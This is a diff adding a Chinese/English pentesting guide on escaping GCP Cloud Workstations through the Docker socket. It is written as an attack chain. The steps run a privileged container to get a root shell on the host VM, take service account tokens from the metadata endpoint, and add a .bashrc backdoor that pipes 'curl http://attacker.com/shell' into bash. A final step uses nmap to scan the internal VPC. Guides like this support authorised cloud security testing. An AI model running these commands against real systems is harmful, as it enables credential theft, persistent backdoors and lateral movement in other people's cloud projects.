diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md new file mode 100644 index 000000000..07e4b34a8 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -0,0 +1,96 @@ +# GCP - Cloud Workstations Privesc + + +### Container Breakout via Docker Socket (Container -> VM -> Project) + +在 Cloud Workstations 中,主要的 privilege escalation 路径源于需要为开发者支持 **Docker-in-Docker (DinD)** 工作流。When the workstation configuration mounts the Docker socket or allows privileged containers(这是常见配置),工作站容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其 service account token。 + +**前提条件:** +- 可访问 Cloud Workstation 终端(通过 SSH、被入侵的会话,或 stolen credentials) +- 工作站配置必须挂载 `/var/run/docker.sock` 或启用 privileged containers + +**架构上下文:** 工作站是运行在 GCE VM(Layer 1)上的 Docker/Containerd 运行时(Layer 2)中的一个容器(Layer 3)。Docker socket 可直接访问主机的容器运行时。 + +> [!NOTE] +> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的 container escape 并将你置于主机 VM 的 root shell。 + +
+ +步骤 1:检查 Docker socket +```bash +# Verify the Docker socket is available +ls -l /var/run/docker.sock +# Expected output: srw-rw---- 1 root docker 0 ... +``` +
+ +
+ +Step 2: Escape to the host VM filesystem + +我们启动了一个特权容器,将主机的根目录挂载到 `/mnt/host`。我们还共享主机的网络和 PID 命名空间以最大化可见性。 +```bash +# Spawn a privileged container mounting the host's root filesystem +docker run -it --rm --privileged --net=host --pid=host \ +-v /:/mnt/host \ +alpine sh + +# Inside the new container, chroot into the host +chroot /mnt/host /bin/bash +``` +你现在拥有 **root shell on the underlying Compute Engine VM** (Layer 1)。 + +
+ +
+ +步骤 3:从 IMDS 窃取 VM 服务账户令牌 +```bash +# From the host VM, query the Instance Metadata Service +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token + +# Check which service account is attached +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email + +# Check scopes (CRITICAL STEP) +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes +``` +
+ +> [!CAUTION] +> **检查 Scopes!** +> 即使附加的 Service Account 是 **Editor**,VM 仍可能被访问范围限制。 +> 如果看到 `https://www.googleapis.com/auth/cloud-platform`,则拥有完整访问权限。 +> 如果只看到 `logging.write` 和 `monitoring.write`,则仅限于下方的 **Network Pivot** 和 **Persistence** 向量。 + +
+ +Step 4: Achieve Persistence (Backdoor the User) + +Cloud Workstations 将一个持久磁盘挂载到 `/home/user`。由于容器用户(通常是 `user`,UID 1000)与宿主机用户(UID 1000)匹配,你可以写入宿主的主目录。这样即使 workstation 容器被重建,你也可以 backdoor 环境,实现持久化。 +```bash +# Check if you can write to the host's persistent home +ls -la /mnt/host/home/user/ + +# Drop a backdoor that executes next time the developer logs in +# Note: Do this from the container escape context +echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc +``` +
+ +
+ +步骤 5: Network Pivot (Internal VPC Access) + +既然你共享主机的网络命名空间 (`--net=host`),你现在是 VPC 上的受信任节点。你可以扫描允许基于 IP whitelisting 的内部服务。 +```bash +# Install scanning tools on the host (if internet access allows) +apk add nmap + +# Scan the internal VPC subnet +nmap -sS -p 80,443,22 10.0.0.0/8 +``` +